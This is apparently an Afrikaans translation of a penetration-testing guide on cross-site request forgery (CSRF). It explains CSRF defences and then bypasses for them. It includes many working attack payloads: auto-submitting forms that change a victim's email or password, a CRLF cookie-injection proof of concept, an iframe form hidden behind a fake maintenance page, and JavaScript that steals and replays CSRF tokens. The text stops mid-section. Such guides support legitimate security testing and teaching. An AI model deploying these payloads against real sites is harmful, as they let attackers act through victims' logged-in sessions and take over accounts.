Sluit aan by HackenProof Discord bediener om te kommunikeer met ervare hackers en bug bounty jagters!
Hacking Inligting
Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek
Regstydse Hack Nuus
Bly op hoogte van die vinnige hacking wêreld deur middel van regstydse nuus en insigte
Laaste Aankondigings
Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings
Sluit by ons aan opDiscord en begin vandag saamwerk met top hackers!
Cross-Site Request Forgery (CSRF) Verduidelik
Cross-Site Request Forgery (CSRF) is 'n tipe sekuriteitskwesbaarheid wat in webtoepassings voorkom. Dit stel aanvallers in staat om aksies namens onskuldige gebruikers uit te voer deur hul geverifieerde sessies te benut. Die aanval word uitgevoer wanneer 'n gebruiker, wat in 'n slagoffer se platform aangemeld is, 'n kwaadwillige webwerf besoek. Hierdie webwerf aktiveer dan versoeke na die slagoffer se rekening deur metodes soos die uitvoer van JavaScript, indiening van vorms, of die verkryging van beelde.
Voorvereistes vir 'n CSRF-aanval
Om 'n CSRF-kwesbaarheid te benut, moet verskeie voorwaardes nagekom word:
Identifiseer 'n Waardevolle Aksie: Die aanvaller moet 'n aksie vind wat die moeite werd is om te benut, soos om die gebruiker se wagwoord, e-pos of bevoegdhede te verander.
Sessie Bestuur: Die gebruiker se sessie moet slegs deur koekies of die HTTP Basic Authentication koptekst bestuur word, aangesien ander koptekste nie vir hierdie doel gemanipuleer kan word nie.
Afwesigheid van Onvoorspelbare Parameters: Die versoek moet nie onvoorspelbare parameters bevat nie, aangesien dit die aanval kan voorkom.
Vinige Kontrole
Jy kan die versoek in Burp vasvang en CSRF beskermings nagaan en om van die blaaier te toets kan jy op Kopieer as fetch klik en die versoek nagaan:
Verdediging Teen CSRF
Verskeie teenmaatreëls kan geïmplementeer word om teen CSRF-aanvalle te beskerm:
Cross-origin resource sharing: Die CORS-beleid van die slagoffer webwerf kan die haalbaarheid van die aanval beïnvloed, veral as die aanval vereis dat die antwoord van die slagoffer webwerf gelees word. Leer oor CORS omseilings.
Gebruiker Verifikasie: Om die gebruiker se wagwoord te vra of 'n captcha op te los kan die gebruiker se bedoeling bevestig.
Kontroleer Verwysers of Oorsprong Koptekste: Die validering van hierdie koptekste kan help om te verseker dat versoeke van vertroude bronne kom. Dit is egter moontlik om swak geïmplementeerde kontroles te omseil deur sorgvuldig URL's te skep, soos:
Gebruik http://mal.net?orig=http://example.com (URL eindig met die vertroude URL)
Gebruik http://example.com.mal.net (URL begin met die vertroude URL)
Wysig Parametername: Die name van parameters in POST of GET versoeke kan verander word om geoutomatiseerde aanvalle te voorkom.
CSRF Tokens: Die insluiting van 'n unieke CSRF-token in elke sessie en die vereiste van hierdie token in daaropvolgende versoeke kan die risiko van CSRF aansienlik verminder. Die doeltreffendheid van die token kan verbeter word deur CORS af te dwing.
Om hierdie verdediging te verstaan en te implementeer is van kardinale belang om die sekuriteit en integriteit van webtoepassings te handhaaf.
Verdedigings Omseiling
Van POST na GET
Miskien is die vorm wat jy wil misbruik voorberei om 'n POST versoek met 'n CSRF-token te stuur, maar jy moet kontroleer of 'n GET ook geld en of wanneer jy 'n GET versoek stuur die CSRF-token steeds geverifieer word.
Gebrek aan token
Toepassings mag 'n meganisme implementeer om tokens te verifieer wanneer hulle teenwoordig is. 'n Kwesbaarheid ontstaan egter as die verifikasie heeltemal oorgeslaan word wanneer die token afwesig is. Aanvallers kan dit benut deur die parameter wat die token dra, nie net sy waarde, te verwyder. Dit stel hulle in staat om die verifikasieproses te omseil en 'n Cross-Site Request Forgery (CSRF) aanval effektief uit te voer.
CSRF-token is nie aan die gebruiker se sessie gekoppel nie
Toepassings wat CSRF-tokens nie aan gebruiker sessies koppel nie bied 'n beduidende sekuriteitsrisiko. Hierdie stelsels verifieer tokens teen 'n globale poel eerder as om te verseker dat elke token aan die inisiërende sessie gebind is.
Hier is hoe aanvallers dit benut:
Verifieer met hul eie rekening.
Verkry 'n geldige CSRF-token uit die globale poel.
Gebruik hierdie token in 'n CSRF-aanval teen 'n slagoffer.
Hierdie kwesbaarheid stel aanvallers in staat om ongeoorloofde versoeke namens die slagoffer te maak, wat die toepassing se onvoldoende token verifikasie meganisme benut.
Metode omseiling
As die versoek 'n "vreemde" metode gebruik, kyk of die metodeoorheffingsfunksionaliteit werk. Byvoorbeeld, as dit 'n PUT metode gebruik kan jy probeer om 'n POST metode te gebruik en stuur: https://example.com/my/dear/api/val/num?_method=PUT
Dit kan ook werk deur die _method parameter binne 'n POST versoek te stuur of deur die koptekste te gebruik:
X-HTTP-Method
X-HTTP-Method-Override
X-Method-Override
Aangepaste koptekst token omseiling
As die versoek 'n aangepaste koptekst met 'n token aan die versoek voeg as CSRF beskermingsmetode, dan:
Toets die versoek sonder die Aangepaste Token en ook koptekst.
Toets die versoek met presies dieselfde lengte maar 'n ander token.
CSRF-token word deur 'n koekie geverifieer
Toepassings mag CSRF-beskerming implementeer deur die token in beide 'n koekie en 'n versoekparameter te dupliceer of deur 'n CSRF-koekie in te stel en te verifieer of die token wat in die agtergrond gestuur word ooreenstem met die koekie. Die toepassing verifieer versoeke deur te kyk of die token in die versoekparameter ooreenstem met die waarde in die koekie.
Hierdie metode is egter kwesbaar vir CSRF-aanvalle as die webwerf gebreke het wat 'n aanvaller toelaat om 'n CSRF-koekie in die slagoffer se blaaier in te stel, soos 'n CRLF-kwesbaarheid. Die aanvaller kan dit benut deur 'n misleidende beeld te laai wat die koekie stel, gevolg deur die inisiëring van die CSRF-aanval.
Hieronder is 'n voorbeeld van hoe 'n aanval gestruktureer kan word:
<html><!-- CSRF Proof of Concept - generated by Burp Suite Professional --><body><script>history.pushState('','','/')</script><formaction="https://example.com/my-account/change-email"method="POST"><inputtype="hidden"name="email"value="asd@asd.asd" /><inputtype="hidden"name="csrf"value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" /><inputtype="submit"value="Submit request" /></form><imgsrc="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"onerror="document.forms[0].submit();"/></body></html>
Let daarop dat as die csrf token verband hou met die sessie koekie, hierdie aanval nie sal werk nie omdat jy die slagoffer jou sessie moet stel, en daarom sal jy jouself aanval.
Inhouds tipe verandering
Volgens hierdie, om preflight versoeke met die POST metode te vermy, is hierdie die toegelate Inhouds tipe waardes:
application/x-www-form-urlencoded
multipart/form-data
text/plain
Let egter daarop dat die bediener se logika kan verskil afhangende van die Inhouds tipe wat gebruik word, so jy moet die genoemde waardes en ander soos application/json,text/xml, application/xml. probeer.
Voorbeeld (van hier) van die sending van JSON data as text/plain:
Wanneer jy probeer om JSON data via 'n POST versoek te stuur, is dit nie direk moontlik om die Content-Type: application/json in 'n HTML vorm te gebruik nie. Net so, die gebruik van XMLHttpRequest om hierdie inhouds tipe te stuur, begin 'n preflight versoek. Nietemin, daar is strategieë om moontlik hierdie beperking te omseil en te kontroleer of die bediener die JSON data verwerk ongeag die Content-Type:
Gebruik Alternatiewe Inhoudstipes: Gebruik Content-Type: text/plain of Content-Type: application/x-www-form-urlencoded deur enctype="text/plain" in die vorm in te stel. Hierdie benadering toets of die agterkant die data gebruik ongeag die Content-Type.
Wysig Inhouds tipe: Om 'n preflight versoek te vermy terwyl jy verseker dat die bediener die inhoud as JSON herken, kan jy die data stuur met Content-Type: text/plain; application/json. Dit aktiveer nie 'n preflight versoek nie, maar kan korrek verwerk word deur die bediener as dit geconfigureer is om application/json te aanvaar.
SWF Flash Lêer Gebruik: 'n Minder algemene maar haalbare metode behels die gebruik van 'n SWF flash lêer om sulke beperkings te omseil. Vir 'n diepgaande begrip van hierdie tegniek, verwys na hierdie pos.
Referrer / Oorsprong kontrole omseiling
Vermy Referrer kop
Toepassings mag die 'Referer' kop slegs valideer wanneer dit teenwoordig is. Om te voorkom dat 'n blaaier hierdie kop stuur, kan die volgende HTML meta tag gebruik word:
<metaname="referrer"content="never">
Dit verseker dat die 'Referer' kop nie ingesluit is nie, wat moontlik valideringskontroles in sommige toepassings omseil.
Om die domeinnaam van die bediener in die URL wat die Referrer binne die parameters gaan stuur, in te stel, kan jy doen:
<html><!-- Referrer policy needed to send the qury parameter in the referrer --><head><metaname="referrer"content="unsafe-url"></head><body><script>history.pushState('','','/')</script><formaction="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"method="POST"><inputtype="hidden"name="email"value="asd@asd.asd" /><inputtype="submit"value="Submit request" /></form><script>// You need to set this or the domain won't appear in the query of the referer headerhistory.pushState("","","?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")document.forms[0].submit();</script></body></html>
HEAD metode omseiling
Die eerste deel van hierdie CTF skrywe verduidelik dat Oak se bronkode, 'n router is ingestel om HEAD versoeke as GET versoeke te hanteer sonder 'n responsliggaam - 'n algemene omseiling wat nie uniek is aan Oak nie. In plaas van 'n spesifieke handler wat met HEAD versoeke werk, word hulle eenvoudig aan die GET handler gegee, maar die app verwyder net die responsliggaam.
Daarom, as 'n GET versoek beperk word, kan jy eenvoudig 'n HEAD versoek stuur wat as 'n GET versoek verwerk sal word.
Eksploitasie Voorbeelde
Exfiltrering van CSRF Token
As 'n CSRF token as verdediging gebruik word, kan jy probeer om dit te exfiltreer deur 'n XSS kwesbaarheid of 'n Dangling Markup kwesbaarheid te misbruik.
GET met HTML merke
<imgsrc="http://google.es?param=VALUE"style="display:none" /><h1>404 - Page not found</h1>The URL you are requesting is no longer available
Ander HTML5-tags wat gebruik kan word om 'n GET-versoek outomaties te stuur, is:
<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><script>history.pushState('','','/')</script><formmethod="GET"action="https://victim.net/email/change-email"><inputtype="hidden"name="email"value="some@email.com" /><inputtype="submit"value="Submit request" /></form><script>document.forms[0].submit();</script></body></html>
Vorm POST versoek
<html><body><script>history.pushState('','','/')</script><formmethod="POST"action="https://victim.net/email/change-email"id="csrfform"><inputtype="hidden"name="email"value="some@email.com"autofocusonfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit --><inputtype="submit"value="Submit request" /><imgsrc=xonerror="csrfform.submit();" /> <!-- Way 2 to autosubmit --></form><script>document.forms[0].submit(); //Way 3 to autosubmit</script></body></html>
Vorm POST versoek deur iframe
<!--The request is sent through the iframe withuot reloading the page--><html><body><iframestyle="display:none"name="csrfframe"></iframe><formmethod="POST"action="/change-email"id="csrfform"target="csrfframe"><inputtype="hidden"name="email"value="some@email.com"autofocusonfocus="csrfform.submit();" /><inputtype="submit"value="Submit request" /></form><script>document.forms[0].submit();</script></body></html>
Ajax POST versoek
<script>var xh;if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safarixh=newXMLHttpRequest();}else{// code for IE6, IE5xh=newActiveXObject("Microsoft.XMLHTTP");}xh.withCredentials =true;xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");xh.setRequestHeader('Content-type','application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)xh.send("username=abcd&status=on");</script><script>//JQuery version$.ajax({type:"POST",url:"https://google.com",data:"param=value¶m2=value2"})</script>
<--! expl.html --><bodyonload="envia()"><formmethod="POST"id="formulario"action="http://aplicacion.example.com/cambia_pwd.php"><inputtype="text"id="pwd"name="pwd"value="otra nueva"></form><body><script>functionenvia(){document.getElementById("formulario").submit();}</script><!-- public.html --><iframesrc="2-1.html"style="position:absolute;top:-5000"></iframe><h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
Steal CSRF-token en stuur 'n POST-versoek
functionsubmitFormWithTokenJS(token) {var xhr =newXMLHttpRequest();xhr.open("POST",POST_URL,true);xhr.withCredentials =true;// Send the proper header information along with the requestxhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");// This is for debugging and can be removedxhr.onreadystatechange=function() {if(xhr.readyState ===XMLHttpRequest.DONE&&xhr.status ===200) {//console.log(xhr.responseText);}}xhr.send("token="+ token +"&otherparama=heyyyy");}functiongetTokenJS() {var xhr =newXMLHttpRequest();// This tels it to return it as a HTML documentxhr.responseType ="document";xhr.withCredentials =true;// true on the end of here makes the call asynchronousxhr.open("GET",GET_URL,true);xhr.onload=function (e) {if (xhr.readyState ===XMLHttpRequest.DONE&&xhr.status ===200) {// Get the document from the responsepage =xhr.response// Get the input elementinput =page.getElementById("token");// Show the token//console.log("The token is: " + input.value);// Use the token to submit the formsubmitFormWithTokenJS(input.value);}};// Make the requestxhr.send(null);}varGET_URL="http://google.com?param=VALUE"varPOST_URL="http://google.com?param=VALUE"getTokenJS();
Steal CSRF Token en stuur 'n Post versoek met 'n iframe, 'n vorm en Ajax
Die kode kan gebruik word om 'n aanmeldvorm met 'n CSRF-token te brute-force (Dit gebruik ook die kop X-Forwarded-For om te probeer om 'n moontlike IP-swartlys te omseil):